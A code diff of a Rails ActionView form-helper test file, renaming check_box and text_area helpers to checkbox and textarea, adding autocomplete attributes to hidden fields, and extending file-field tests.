         label(:post_delegator, :title)
@@ -373,19 +397,19 @@ def test_label_with_to_model_and_overridden_model_name
   end
 
   def test_text_field_placeholder_without_locales
-    with_locale :placeholder do
+    I18n.with_locale :placeholder do
       assert_dom_equal('<input id="post_body" name="post[body]" placeholder="Body" type="text" value="Back to the hill and over it again!" />', text_field(:post, :body, placeholder: true))
     end
   end
 
   def test_text_field_placeholder_with_locales
-    with_locale :placeholder do
+    I18n.with_locale :placeholder do
       assert_dom_equal('<input id="post_title" name="post[title]" placeholder="What is this about?" type="text" value="Hello World" />', text_field(:post, :title, placeholder: true))
     end
   end
 
   def test_text_field_placeholder_with_locales_and_to_model
-    with_locale :placeholder do
+    I18n.with_locale :placeholder do
       assert_dom_equal(
         '<input id="post_delegator_title" name="post_delegator[title]" placeholder="Delegate model_name title" type="text" value="Hello World" />',
         text_field(:post_delegator, :title, placeholder: true)
@@ -394,7 +418,7 @@ def test_text_field_placeholder_with_locales_and_to_model
   end
 
   def test_text_field_placeholder_with_human_attribute_name
-    with_locale :placeholder do
+    I18n.with_locale :placeholder do
       assert_dom_equal('<input id="post_cost" name="post[cost]" placeholder="Total cost" type="text" />', text_field(:post, :cost, placeholder: true))
     end
   end
@@ -407,25 +431,25 @@ def test_text_field_placeholder_with_human_attribute_name_and_to_model
   end
 
   def test_text_field_placeholder_with_string_value
-    with_locale :placeholder do
+    I18n.with_locale :placeholder do
       assert_dom_equal('<input id="post_cost" name="post[cost]" placeholder="HOW MUCH?" type="text" />', text_field(:post, :cost, placeholder: "HOW MUCH?"))
     end
   end
 
   def test_text_field_placeholder_with_human_attribute_name_and_value
-    with_locale :placeholder do
+    I18n.with_locale :placeholder do
       assert_dom_equal('<input id="post_cost" name="post[cost]" placeholder="Pounds" type="text" />', text_field(:post, :cost, placeholder: :uk))
     end
   end
 
   def test_text_field_placeholder_with_locales_and_value
-    with_locale :placeholder do
+    I18n.with_locale :placeholder do
       assert_dom_equal('<input id="post_written_on" name="post[written_on]" placeholder="Escrito en" type="text" value="2004-06-15" />', text_field(:post, :written_on, placeholder: :spanish))
     end
   end
 
   def test_text_field_placeholder_with_locales_and_nested_attributes
-    with_locale :placeholder do
+    I18n.with_locale :placeholder do
       form_for(@post, html: { id: "create-post" }) do |f|
         f.fields_for(:comments) do |cf|
           concat cf.text_field(:body, placeholder: true)
@@ -436,12 +460,12 @@ def test_text_field_placeholder_with_locales_and_nested_attributes
         '<input id="post_comments_attributes_0_body" name="post[comments_attributes][0][body]" placeholder="Write body here" type="text" />'
       end
 
-      assert_dom_equal expected, output_buffer
+      assert_dom_equal expected, @rendered
     end
   end
 
   def test_text_field_placeholder_with_locales_fallback_and_nested_attributes
-    with_locale :placeholder do
+    I18n.with_locale :placeholder do
       form_for(@post, html: { id: "create-post" }) do |f|
         f.fields_for(:tags) do |cf|
           concat cf.text_field(:value, placeholder: true)
@@ -452,7 +476,7 @@ def test_text_field_placeholder_with_locales_fallback_and_nested_attributes
         '<input id="post_tags_attributes_0_value" name="post[tags_attributes][0][value]" placeholder="Tag" type="text" value="new tag" />'
       end
 
-      assert_dom_equal expected, output_buffer
+      assert_dom_equal expected, @rendered
     end
   end
 
@@ -535,18 +559,87 @@ def test_file_field_with_multiple_behavior
     assert_dom_equal expected, file_field("import", "file", multiple: true)
   end
 
+  def test_file_field_with_multiple_behavior_configured_include_hidden
+    old_value = ActionView::Helpers::FormHelper.multiple_file_field_include_hidden
+    ActionView::Helpers::FormHelper.multiple_file_field_include_hidden = true
+
+    expected = '<input type="hidden" name="import[file][]" autocomplete="off" value="">' \
+               '<input id="import_file" multiple="multiple" name="import[file][]" type="file" />'
+    assert_dom_equal expected, file_field("import", "file", multiple: true)
+  ensure
+    ActionView::Helpers::FormHelper.multiple_file_field_include_hidden = old_value
+  end
+
+  def test_file_field_with_multiple_behavior_include_hidden_false
+    expected = '<input id="import_file" multiple="multiple" name="import[file][]" type="file" />'
+    assert_dom_equal expected, file_field("import", "file", multiple: true, include_hidden: false)
+  end
+
   def test_file_field_with_multiple_behavior_and_explicit_name
     expected = '<input id="import_file" multiple="multiple" name="custom" type="file" />'
     assert_dom_equal expected, file_field("import", "file", multiple: true, name: "custom")
   end
 
+  def test_file_field_with_multiple_behavior_and_explicit_name_configured_include_hidden
+    old_value = ActionView::Helpers::FormHelper.multiple_file_field_include_hidden
+    ActionView::Helpers::FormHelper.multiple_file_field_include_hidden = true
+
+    expected = '<input type="hidden" name="custom" autocomplete="off" value="">' \
+               '<input id="import_file" multiple="multiple" name="custom" type="file" />'
+    assert_dom_equal expected, file_field("import", "file", multiple: true, name: "custom")
+  ensure
+    ActionView::Helpers::FormHelper.multiple_file_field_include_hidden = old_value
+  end
+
+  def test_file_field_with_multiple_include_hidden_includes_autocomplete
+    ActionView::Base.with(remove_hidden_field_autocomplete: false) do
+      expected = '<input type="hidden" name="import[file][]" value="" autocomplete="off">' \
+                 '<input id="import_file" multiple="multiple" name="import[file][]" type="file" />'
+      assert_dom_equal expected, file_field("import", "file", multiple: true, include_hidden: true)
+    end
+  end
+
+  def test_file_field_with_multiple_include_hidden_omits_autocomplete
+    ActionView::Base.with(remove_hidden_field_autocomplete: true) do
+      expected = '<input type="hidden" name="import[file][]" value="">' \
+                 '<input id="import_file" multiple="multiple" name="import[file][]" type="file" />'
+      assert_dom_equal expected, file_field("import", "file", multiple: true, include_hidden: true)
+    end
+  end
+
+  def test_file_field_with_direct_upload_when_rails_direct_uploads_url_is_not_defined
+    expected = '<input type="file" name="import[file]" id="import_file" />'
+    assert_dom_equal expected, file_field("import", "file", direct_upload: true)
+  end
+
+  def test_file_field_with_direct_upload_when_rails_direct_uploads_url_is_defined
+    @controller = WithActiveStorageRoutesControllers.new
+
+    expected = '<input data-direct-upload-url="http://testtwo.host/rails/active_storage/direct_uploads" type="file" name="import[file]" id="import_file" />'
+    assert_dom_equal expected, file_field("import", "file", direct_upload: true)
+  end
+
+  def test_file_field_with_direct_upload_dont_mutate_arguments
+    original_options = { class: "pix", direct_upload: true }
+
+    expected = '<input class="pix" type="file" name="import[file]" id="import_file" />'
+    assert_dom_equal expected, file_field("import", "file", original_options)
+
+    assert_equal({ class: "pix", direct_upload: true }, original_options)
+  end
+
+  def test_file_field_with_accept_attribute
+    expected = '<input accept="image/*,video/*" type="file" name="import[file]" />'
+    assert_dom_equal expected, file_field("import", "file", { accept: ["image/*", "video/*"], id: nil })
+  end
+
   def test_hidden_field
     assert_dom_equal(
-      '<input id="post_title" name="post[title]" type="hidden" value="Hello World" />',
+      '<input id="post_title" name="post[title]" type="hidden" value="Hello World" autocomplete="off" />',
       hidden_field("post", "title")
     )
     assert_dom_equal(
-      '<input id="post_secret" name="post[secret]" type="hidden" value="1" />',
+      '<input id="post_secret" name="post[secret]" type="hidden" value="1" autocomplete="off" />',
       hidden_field("post", "secret?")
     )
   end
@@ -554,23 +647,55 @@ def test_hidden_field
   def test_hidden_field_with_escapes
     @post.title = "<b>Hello World</b>"
     assert_dom_equal(
-      '<input id="post_title" name="post[title]" type="hidden" value="&lt;b&gt;Hello World&lt;/b&gt;" />',
+      '<input id="post_title" name="post[title]" type="hidden" value="&lt;b&gt;Hello World&lt;/b&gt;" autocomplete="off" />',
       hidden_field("post", "title")
     )
   end
 
   def test_hidden_field_with_nil_value
-    expected = '<input id="post_title" name="post[title]" type="hidden" />'
+    expected = '<input id="post_title" name="post[title]" type="hidden" autocomplete="off" />'
     assert_dom_equal expected, hidden_field("post", "title", value: nil)
   end
 
   def test_hidden_field_with_options
     assert_dom_equal(
-      '<input id="post_title" name="post[title]" type="hidden" value="Something Else" />',
+      '<input id="post_title" name="post[title]" type="hidden" value="Something Else" autocomplete="off" />',
       hidden_field("post", "title", value: "Something Else")
     )
   end
 
+  def test_hidden_field_with_autocomplete
+    assert_dom_equal(
+      '<input id="session_username" name="session[username]" type="hidden" value="me@example.com" autocomplete="username" />',
+      hidden_field("session", "username", value: "me@example.com", autocomplete: "username")
+    )
+  end
+
+  def test_hidden_field_with_autocomplete_false
+    assert_dom_equal(
+      '<input id="post_title" name="post[title]" type="hidden" value="Something Else" />',
+      hidden_field("post", "title", value: "Something Else", autocomplete: nil)
+    )
+  end
+
+  def test_hidden_field_omits_autocomplete_when_remove_hidden_field_autocomplete_is_true
+    ActionView::Base.with(remove_hidden_field_autocomplete: true) do
+      assert_dom_equal(
+        '<input id="post_title" name="post[title]" type="hidden" value="Hello World" />',
+        hidden_field("post", "title")
+      )
+    end
+  end
+
+  def test_hidden_field_respects_explicit_autocomplete_when_remove_hidden_field_autocomplete_is_true
+    ActionView::Base.with(remove_hidden_field_autocomplete: true) do
+      assert_dom_equal(
+        '<input id="session_username" name="session[username]" type="hidden" value="me@example.com" autocomplete="username" />',
+        hidden_field("session", "username", value: "me@example.com", autocomplete: "username")
+      )
+    end
+  end
+
   def test_text_field_with_custom_type
     assert_dom_equal(
       '<input id="user_email" name="user[email]" type="email" />',
@@ -578,208 +703,226 @@ def test_text_field_with_custom_type
     )
   end
 
-  def test_check_box_is_html_safe
-    assert check_box("post", "secret").html_safe?
+  def test_checkbox_is_html_safe
+    assert_predicate checkbox("post", "secret"), :html_safe?
   end
 
-  def test_check_box_checked_if_object_value_is_same_that_check_value
+  def test_checkbox_checked_if_object_value_is_same_that_check_value
     assert_dom_equal(
-      '<input name="post[secret]" type="hidden" value="0" /><input checked="checked" id="post_secret" name="post[secret]" type="checkbox" value="1" />',
-      check_box("post", "secret")
+      '<input name="post[secret]" type="hidden" value="0" autocomplete="off" /><input checked="checked" id="post_secret" name="post[secret]" type="checkbox" value="1" />',
+      checkbox("post", "secret")
     )
   end
 
-  def test_check_box_not_checked_if_object_value_is_same_that_unchecked_value
+  def test_checkbox_not_checked_if_object_value_is_same_that_unchecked_value
     @post.secret = 0
     assert_dom_equal(
-      '<input name="post[secret]" type="hidden" value="0" /><input id="post_secret" name="post[secret]" type="checkbox" value="1" />',
-      check_box("post", "secret")
+      '<input name="post[secret]" type="hidden" value="0" autocomplete="off" /><input id="post_secret" name="post[secret]" type="checkbox" value="1" />',
+      checkbox("post", "secret")
     )
   end
 
-  def test_check_box_checked_if_option_checked_is_present
+  def test_checkbox_checked_if_option_checked_is_present
     assert_dom_equal(
-      '<input name="post[secret]" type="hidden" value="0" /><input checked="checked" id="post_secret" name="post[secret]" type="checkbox" value="1" />',
-      check_box("post", "secret", "checked" => "checked")
+      '<input name="post[secret]" type="hidden" value="0" autocomplete="off" /><input checked="checked" id="post_secret" name="post[secret]" type="checkbox" value="1" />',
+      checkbox("post", "secret", "checked" => "checked")
     )
   end
 
-  def test_check_box_checked_if_object_value_is_true
+  def test_checkbox_checked_if_object_value_is_true
     @post.secret = true
     assert_dom_equal(
-      '<input name="post[secret]" type="hidden" value="0" /><input checked="checked" id="post_secret" name="post[secret]" type="checkbox" value="1" />',
-      check_box("post", "secret")
+      '<input name="post[secret]" type="hidden" value="0" autocomplete="off" /><input checked="checked" id="post_secret" name="post[secret]" type="checkbox" value="1" />',
+      checkbox("post", "secret")
     )
 
     assert_dom_equal(
-      '<input name="post[secret]" type="hidden" value="0" /><input checked="checked" id="post_secret" name="post[secret]" type="checkbox" value="1" />',
-      check_box("post", "secret?")
+      '<input name="post[secret]" type="hidden" value="0" autocomplete="off" /><input checked="checked" id="post_secret" name="post[secret]" type="checkbox" value="1" />',
+      checkbox("post", "secret?")
     )
   end
 
-  def test_check_box_checked_if_object_value_includes_checked_value
+  def test_checkbox_checked_if_object_value_includes_checked_value
     @post.secret = ["0"]
     assert_dom_equal(
-      '<input name="post[secret]" type="hidden" value="0" /><input id="post_secret" name="post[secret]" type="checkbox" value="1" />',
-      check_box("post", "secret")
+      '<input name="post[secret]" type="hidden" value="0" autocomplete="off" /><input id="post_secret" name="post[secret]" type="checkbox" value="1" />',
+      checkbox("post", "secret")
     )
 
     @post.secret = ["1"]
     assert_dom_equal(
-      '<input name="post[secret]" type="hidden" value="0" /><input checked="checked" id="post_secret" name="post[secret]" type="checkbox" value="1" />',
-      check_box("post", "secret")
+      '<input name="post[secret]" type="hidden" value="0" autocomplete="off" /><input checked="checked" id="post_secret" name="post[secret]" type="checkbox" value="1" />',
+      checkbox("post", "secret")
     )
 
     @post.secret = Set.new(["1"])
     assert_dom_equal(
-      '<input name="post[secret]" type="hidden" value="0" /><input checked="checked" id="post_secret" name="post[secret]" type="checkbox" value="1" />',
-      check_box("post", "secret")
+      '<input name="post[secret]" type="hidden" value="0" autocomplete="off" /><input checked="checked" id="post_secret" name="post[secret]" type="checkbox" value="1" />',
+      checkbox("post", "secret")
     )
   end
 
-  def test_check_box_with_include_hidden_false
+  def test_checkbox_with_include_hidden_false
     @post.secret = false
     assert_dom_equal(
       '<input id="post_secret" name="post[secret]" type="checkbox" value="1" />',
-      check_box("post", "secret", include_hidden: false)
+      checkbox("post", "secret", include_hidden: false)
     )
   end
 
-  def test_check_box_with_explicit_checked_and_unchecked_values_when_object_value_is_string
+  def test_checkbox_with_explicit_checked_and_unchecked_values_when_object_value_is_string
     @post.secret = "on"
     assert_dom_equal(
-      '<input name="post[secret]" type="hidden" value="off" /><input checked="checked" id="post_secret" name="post[secret]" type="checkbox" value="on" />',
-      check_box("post", "secret", {}, "on", "off")
+      '<input name="post[secret]" type="hidden" value="off" autocomplete="off" /><input checked="checked" id="post_secret" name="post[secret]" type="checkbox" value="on" />',
+      checkbox("post", "secret", {}, "on", "off")
     )
 
     @post.secret = "off"
     assert_dom_equal(
-      '<input name="post[secret]" type="hidden" value="off" /><input id="post_secret" name="post[secret]" type="checkbox" value="on" />',
-      check_box("post", "secret", {}, "on", "off")
+      '<input name="post[secret]" type="hidden" value="off" autocomplete="off" /><input id="post_secret" name="post[secret]" type="checkbox" value="on" />',
+      checkbox("post", "secret", {}, "on", "off")
     )
   end
 
-  def test_check_box_with_explicit_checked_and_unchecked_values_when_object_value_is_boolean
+  def test_checkbox_with_explicit_checked_and_unchecked_values_when_object_value_is_boolean
     @post.secret = false
     assert_dom_equal(
-      '<input name="post[secret]" type="hidden" value="true" /><input checked="checked" id="post_secret" name="post[secret]" type="checkbox" value="false" />',
-      check_box("post", "secret", {}, false, true)
+      '<input name="post[secret]" type="hidden" value="true" autocomplete="off" /><input checked="checked" id="post_secret" name="post[secret]" type="checkbox" value="false" />',
+      checkbox("post", "secret", {}, false, true)
     )
 
     @post.secret = true
     assert_dom_equal(
-      '<input name="post[secret]" type="hidden" value="true" /><input id="post_secret" name="post[secret]" type="checkbox" value="false" />',
-      check_box("post", "secret", {}, false, true)
+      '<input name="post[secret]" type="hidden" value="true" autocomplete="off" /><input id="post_secret" name="post[secret]" type="checkbox" value="false" />',
+      checkbox("post", "secret", {}, false, true)
     )
   end
 
-  def test_check_box_with_explicit_checked_and_unchecked_values_when_object_value_is_integer
+  def test_checkbox_with_explicit_checked_and_unchecked_values_when_object_value_is_integer
     @post.secret = 0
     assert_dom_equal(
-      '<input name="post[secret]" type="hidden" value="1" /><input checked="checked" id="post_secret" name="post[secret]" type="checkbox" value="0" />',
-      check_box("post", "secret", {}, 0, 1)
+      '<input name="post[secret]" type="hidden" value="1" autocomplete="off" /><input checked="checked" id="post_secret" name="post[secret]" type="checkbox" value="0" />',
+      checkbox("post", "secret", {}, 0, 1)
     )
 
     @post.secret = 1
     assert_dom_equal(
-      '<input name="post[secret]" type="hidden" value="1" /><input id="post_secret" name="post[secret]" type="checkbox" value="0" />',
-      check_box("post", "secret", {}, 0, 1)
+      '<input name="post[secret]" type="hidden" value="1" autocomplete="off" /><input id="post_secret" name="post[secret]" type="checkbox" value="0" />',
+      checkbox("post", "secret", {}, 0, 1)
     )
 
     @post.secret = 2
     assert_dom_equal(
-      '<input name="post[secret]" type="hidden" value="1" /><input id="post_secret" name="post[secret]" type="checkbox" value="0" />',
-      check_box("post", "secret", {}, 0, 1)
+      '<input name="post[secret]" type="hidden" value="1" autocomplete="off" /><input id="post_secret" name="post[secret]" type="checkbox" value="0" />',
+      checkbox("post", "secret", {}, 0, 1)
     )
   end
 
-  def test_check_box_with_explicit_checked_and_unchecked_values_when_object_value_is_float
+  def test_checkbox_with_explicit_checked_and_unchecked_values_when_object_value_is_float
     @post.secret = 0.0
     assert_dom_equal(
-      '<input name="post[secret]" type="hidden" value="1" /><input checked="checked" id="post_secret" name="post[secret]" type="checkbox" value="0" />',
-      check_box("post", "secret", {}, 0, 1)
+      '<input name="post[secret]" type="hidden" value="1" autocomplete="off" /><input checked="checked" id="post_secret" name="post[secret]" type="checkbox" value="0" />',
+      checkbox("post", "secret", {}, 0, 1)
     )
 
     @post.secret = 1.1
     assert_dom_equal(
-      '<input name="post[secret]" type="hidden" value="1" /><input id="post_secret" name="post[secret]" type="checkbox" value="0" />',
-      check_box("post", "secret", {}, 0, 1)
+      '<input name="post[secret]" type="hidden" value="1" autocomplete="off" /><input id="post_secret" name="post[secret]" type="checkbox" value="0" />',
+      checkbox("post", "secret", {}, 0, 1)
     )
 
     @post.secret = 2.2
     assert_dom_equal(
-      '<input name="post[secret]" type="hidden" value="1" /><input id="post_secret" name="post[secret]" type="checkbox" value="0" />',
-      check_box("post", "secret", {}, 0, 1)
+      '<input name="post[secret]" type="hidden" value="1" autocomplete="off" /><input id="post_secret" name="post[secret]" type="checkbox" value="0" />',
+      checkbox("post", "secret", {}, 0, 1)
     )
   end
 
-  def test_check_box_with_explicit_checked_and_unchecked_values_when_object_value_is_big_decimal
-    @post.secret = BigDecimal.new(0)
+  def test_checkbox_with_explicit_checked_and_unchecked_values_when_object_value_is_big_decimal
+    @post.secret = BigDecimal(0)
+    assert_dom_equal(
+      '<input name="post[secret]" type="hidden" value="1" autocomplete="off" /><input checked="checked" id="post_secret" name="post[secret]" type="checkbox" value="0" />',
+      checkbox("post", "secret", {}, 0, 1)
+    )
+
+    @post.secret = BigDecimal(1)
     assert_dom_equal(
-      '<input name="post[secret]" type="hidden" value="1" /><input checked="checked" id="post_secret" name="post[secret]" type="checkbox" value="0" />',
-      check_box("post", "secret", {}, 0, 1)
+      '<input name="post[secret]" type="hidden" value="1" autocomplete="off" /><input id="post_secret" name="post[secret]" type="checkbox" value="0" />',
+      checkbox("post", "secret", {}, 0, 1)
     )
 
-    @post.secret = BigDecimal.new(1)
+    @post.secret = BigDecimal(2.2, 1)
     assert_dom_equal(
-      '<input name="post[secret]" type="hidden" value="1" /><input id="post_secret" name="post[secret]" type="checkbox" value="0" />',
-      check_box("post", "secret", {}, 0, 1)
+      '<input name="post[secret]" type="hidden" value="1" autocomplete="off" /><input id="post_secret" name="post[secret]" type="checkbox" value="0" />',
+      checkbox("post", "secret", {}, 0, 1)
     )
+  end
 
-    @post.secret = BigDecimal.new(2.2, 1)
+  def test_checkbox_with_unchecked_value_hidden_autocomplete
+    @post.secret = true
     assert_dom_equal(
-      '<input name="post[secret]" type="hidden" value="1" /><input id="post_secret" name="post[secret]" type="checkbox" value="0" />',
-      check_box("post", "secret", {}, 0, 1)
+      '<input name="post[secret]" type="hidden" value="true" autocomplete="off" /><input checked="checked" id="post_secret" name="post[secret]" type="checkbox" value="true" />',
+      checkbox("post", "secret", {}, true, true)
     )
   end
 
-  def test_check_box_with_nil_unchecked_value
+  def test_checkbox_with_unchecked_value_omits_hidden_autocomplete
+    ActionView::Base.with(remove_hidden_field_autocomplete: true) do
+      @post.secret = true
+      assert_dom_equal(
+        '<input name="post[secret]" type="hidden" value="true" /><input checked="checked" id="post_secret" name="post[secret]" type="checkbox" value="true" />',
+        checkbox("post", "secret", {}, true, true)
+      )
+    end
+  end
+
+  def test_checkbox_with_nil_unchecked_value
     @post.secret = "on"
     assert_dom_equal(
       '<input checked="checked" id="post_secret" name="post[secret]" type="checkbox" value="on" />',
-      check_box("post", "secret", {}, "on", nil)
+      checkbox("post", "secret", {}, "on", nil)
     )
   end
 
-  def test_check_box_with_nil_unchecked_value_is_html_safe
-    assert check_box("post", "secret", {}, "on", nil).html_safe?
+  def test_checkbox_with_nil_unchecked_value_is_html_safe
+    assert_predicate checkbox("post", "secret", {}, "on", nil), :html_safe?
   end
 
-  def test_check_box_with_multiple_behavior
+  def test_checkbox_with_multiple_behavior
     @post.comment_ids = [2, 3]
     assert_dom_equal(
-      '<input name="post[comment_ids][]" type="hidden" value="0" /><input id="post_comment_ids_1" name="post[comment_ids][]" type="checkbox" value="1" />',
-      check_box("post", "comment_ids", { multiple: true }, 1)
+      '<input name="post[comment_ids][]" type="hidden" value="0" autocomplete="off" /><input id="post_comment_ids_1" name="post[comment_ids][]" type="checkbox" value="1" />',
+      checkbox("post", "comment_ids", { multiple: true }, 1)
     )
     assert_dom_equal(
-      '<input name="post[comment_ids][]" type="hidden" value="0" /><input checked="checked" id="post_comment_ids_3" name="post[comment_ids][]" type="checkbox" value="3" />',
-      check_box("post", "comment_ids", { multiple: true }, 3)
+      '<input name="post[comment_ids][]" type="hidden" value="0" autocomplete="off" /><input checked="checked" id="post_comment_ids_3" name="post[comment_ids][]" type="checkbox" value="3" />',
+      checkbox("post", "comment_ids", { multiple: true }, 3)
     )
   end
 
-  def test_check_box_with_multiple_behavior_and_index
+  def test_checkbox_with_multiple_behavior_and_index
     @post.comment_ids = [2, 3]
     assert_dom_equal(
-      '<input name="post[foo][comment_ids][]" type="hidden" value="0" /><input id="post_foo_comment_ids_1" name="post[foo][comment_ids][]" type="checkbox" value="1" />',
-      check_box("post", "comment_ids", { multiple: true, index: "foo" }, 1)
+      '<input name="post[foo][comment_ids][]" type="hidden" value="0" autocomplete="off" /><input id="post_foo_comment_ids_1" name="post[foo][comment_ids][]" type="checkbox" value="1" />',
+      checkbox("post", "comment_ids", { multiple: true, index: "foo" }, 1)
     )
     assert_dom_equal(
-      '<input name="post[bar][comment_ids][]" type="hidden" value="0" /><input checked="checked" id="post_bar_comment_ids_3" name="post[bar][comment_ids][]" type="checkbox" value="3" />',
-      check_box("post", "comment_ids", { multiple: true, index: "bar" }, 3)
+      '<input name="post[bar][comment_ids][]" type="hidden" value="0" autocomplete="off" /><input checked="checked" id="post_bar_comment_ids_3" name="post[bar][comment_ids][]" type="checkbox" value="3" />',
+      checkbox("post", "comment_ids", { multiple: true, index: "bar" }, 3)
     )
   end
 
   def test_checkbox_disabled_disables_hidden_field
     assert_dom_equal(
-      '<input name="post[secret]" type="hidden" value="0" disabled="disabled"/><input checked="checked" disabled="disabled" id="post_secret" name="post[secret]" type="checkbox" value="1" />',
-      check_box("post", "secret", disabled: true)
+      '<input name="post[secret]" type="hidden" value="0" disabled="disabled" autocomplete="off"/><input checked="checked" disabled="disabled" id="post_secret" name="post[secret]" type="checkbox" value="1" />',
+      checkbox("post", "secret", disabled: true)
     )
   end
 
   def test_checkbox_form_html5_attribute
     assert_dom_equal(
-      '<input form="new_form" name="post[secret]" type="hidden" value="0" /><input checked="checked" form="new_form" id="post_secret" name="post[secret]" type="checkbox" value="1" />',
-      check_box("post", "secret", form: "new_form")
+      '<input form="new_form" name="post[secret]" type="hidden" value="0" autocomplete="off" /><input checked="checked" form="new_form" id="post_secret" name="post[secret]" type="checkbox" value="1" />',
+      checkbox("post", "secret", form: "new_form")
     )
   end
 
@@ -798,7 +941,7 @@ def test_radio_button
   def test_radio_button_is_checked_with_integers
     assert_dom_equal('<input checked="checked" id="post_secret_1" name="post[secret]" type="radio" value="1" />',
       radio_button("post", "secret", "1")
-   )
+    )
   end
 
   def test_radio_button_with_negative_integer_value
@@ -809,7 +952,7 @@ def test_radio_button_with_negative_integer_value
   def test_radio_button_respects_passed_in_id
     assert_dom_equal('<input checked="checked" id="foo" name="post[secret]" type="radio" value="1" />',
       radio_button("post", "secret", "1", id: "foo")
-   )
+    )
   end
 
   def test_radio_button_with_booleans
@@ -822,65 +965,65 @@ def test_radio_button_with_booleans
     )
   end
 
-  def test_text_area_placeholder_without_locales
-    with_locale :placeholder do
+  def test_textarea_placeholder_without_locales
+    I18n.with_locale :placeholder do
       assert_dom_equal(
         %{<textarea id="post_body" name="post[body]" placeholder="Body">\nBack to the hill and over it again!</textarea>},
-        text_area(:post, :body, placeholder: true)
+        textarea(:post, :body, placeholder: true)
       )
     end
   end
 
-  def test_text_area_placeholder_with_locales
-    with_locale :placeholder do
+  def test_textarea_placeholder_with_locales
+    I18n.with_locale :placeholder do
       assert_dom_equal(
         %{<textarea id="post_title" name="post[title]" placeholder="What is this about?">\nHello World</textarea>},
-        text_area(:post, :title, placeholder: true)
+        textarea(:post, :title, placeholder: true)
       )
     end
   end
 
-  def test_text_area_placeholder_with_human_attribute_name
-    with_locale :placeholder do
+  def test_textarea_placeholder_with_human_attribute_name
+    I18n.with_locale :placeholder do
       assert_dom_equal(
         %{<textarea id="post_cost" name="post[cost]" placeholder="Total cost">\n</textarea>},
-        text_area(:post, :cost, placeholder: true)
+        textarea(:post, :cost, placeholder: true)
       )
     end
   end
 
-  def test_text_area_placeholder_with_string_value
-    with_locale :placeholder do
+  def test_textarea_placeholder_with_string_value
+    I18n.with_locale :placeholder do
       assert_dom_equal(
         %{<textarea id="post_cost" name="post[cost]" placeholder="HOW MUCH?">\n</textarea>},
-        text_area(:post, :cost, placeholder: "HOW MUCH?")
+        textarea(:post, :cost, placeholder: "HOW MUCH?")
       )
     end
   end
 
-  def test_text_area_placeholder_with_human_attribute_name_and_value
-    with_locale :placeholder do
+  def test_textarea_placeholder_with_human_attribute_name_and_value
+    I18n.with_locale :placeholder do
       assert_dom_equal(
         %{<textarea id="post_cost" name="post[cost]" placeholder="Pounds">\n</textarea>},
-        text_area(:post, :cost, placeholder: :uk)
+        textarea(:post, :cost, placeholder: :uk)
       )
     end
   end
 
-  def test_text_area_placeholder_with_locales_and_value
-    with_locale :placeholder do
+  def test_textarea_placeholder_with_locales_and_value
+    I18n.with_locale :placeholder do
       assert_dom_equal(
         %{<textarea id="post_written_on" name="post[written_on]" placeholder="Escrito en">\n2004-06-15</textarea>},
-        text_area(:post, :written_on, placeholder: :spanish)
+        textarea(:post, :written_on, placeholder: :spanish)
       )
     end
   end
 
-  def test_text_area_placeholder_with_locales_and_nested_attributes
-    with_locale :placeholder do
+  def test_textarea_placeholder_with_locales_and_nested_attributes
+    I18n.with_locale :placeholder do
       form_for(@post, html: { id: "create-post" }) do |f|
         f.fields_for(:comments) do |cf|
-          concat cf.text_area(:body, placeholder: true)
+          concat cf.textarea(:body, placeholder: true)
         end
       end
 
@@ -888,15 +1031,15 @@ def test_text_area_placeholder_with_locales_and_nested_attributes
         %{<textarea id="post_comments_attributes_0_body" name="post[comments_attributes][0][body]" placeholder="Write body here">\n</textarea>}
       end
 
-      assert_dom_equal expected, output_buffer
+      assert_dom_equal expected, @rendered
     end
   end
 
-  def test_text_area_placeholder_with_locales_fallback_and_nested_attributes
-    with_locale :placeholder do
+  def test_textarea_placeholder_with_locales_fallback_and_nested_attributes
+    I18n.with_locale :placeholder do
       form_for(@post, html: { id: "create-post" }) do |f|
         f.fields_for(:tags) do |cf|
-          concat cf.text_area(:value, placeholder: true)
+          concat cf.textarea(:value, placeholder: true)
         end
       end
 
@@ -904,43 +1047,43 @@ def test_text_area_placeholder_with_locales_fallback_and_nested_attributes
         %{<textarea id="post_tags_attributes_0_value" name="post[tags_attributes][0][value]" placeholder="Tag">\nnew tag</textarea>}
       end
 
-      assert_dom_equal expected, output_buffer
+      assert_dom_equal expected, @rendered
     end
   end
 
-  def test_text_area
+  def test_textarea
     assert_dom_equal(
       %{<textarea id="post_body" name="post[body]">\nBack to the hill and over it again!</textarea>},
-      text_area("post", "body")
+      textarea("post", "body")
     )
   end
 
-  def test_text_area_with_escapes
+  def test_textarea_with_escapes
     @post.body = "Back to <i>the</i> hill and over it again!"
     assert_dom_equal(
       %{<textarea id="post_body" name="post[body]">\nBack to &lt;i&gt;the&lt;/i&gt; hill and over it again!</textarea>},
-      text_area("post", "body")
+      textarea("post", "body")
     )
   end
 
-  def test_text_area_with_alternate_value
+  def test_textarea_with_alternate_value
     assert_dom_equal(
       %{<textarea id="post_body" name="post[body]">\nTesting alternate values.</textarea>},
-      text_area("post", "body", value: "Testing alternate values.")
+      textarea("post", "body", value: "Testing alternate values.")
     )
   end
 
-  def test_text_area_with_nil_alternate_value
+  def test_textarea_with_nil_alternate_value
     assert_dom_equal(
       %{<textarea id="post_body" name="post[body]">\n</textarea>},
-      text_area("post", "body", value: nil)
+      textarea("post", "body", value: nil)
     )
   end
 
   def test_inputs_use_before_type_cast_to_retain_information_from_validations_like_numericality
     assert_dom_equal(
       %{<textarea id="post_id" name="post[id]">\nomg</textarea>},
-      text_area("post", "id")
+      textarea("post", "id")
     )
   end
 
@@ -952,7 +1095,7 @@ def id_came_from_user?; false; end
 
     assert_dom_equal(
       %{<textarea id="post_id" name="post[id]">\n0</textarea>},
-      text_area("post", "id")
+      textarea("post", "id")
     )
   end
 
@@ -960,22 +1103,22 @@ def test_inputs_use_before_typecast_when_object_doesnt_respond_to_came_from_user
     class << @post; undef id_came_from_user?; end
     assert_dom_equal(
       %{<textarea id="post_id" name="post[id]">\nomg</textarea>},
-      text_area("post", "id")
+      textarea("post", "id")
     )
   end
 
-  def test_text_area_with_html_entities
+  def test_textarea_with_html_entities
     @post.body = "The HTML Entity for & is &amp;"
     assert_dom_equal(
       %{<textarea id="post_body" name="post[body]">\nThe HTML Entity for &amp; is &amp;amp;</textarea>},
-      text_area("post", "body")
+      textarea("post", "body")
     )
   end
 
-  def test_text_area_with_size_option
+  def test_textarea_with_size_option
     assert_dom_equal(
       %{<textarea cols="183" id="post_body" name="post[body]" rows="820">\nBack to the hill and over it again!</textarea>},
-      text_area("post", "body", size: "183x820")
+      textarea("post", "body", size: "183x820")
     )
   end
 
@@ -1036,6 +1179,17 @@ def test_date_field_with_value_attr
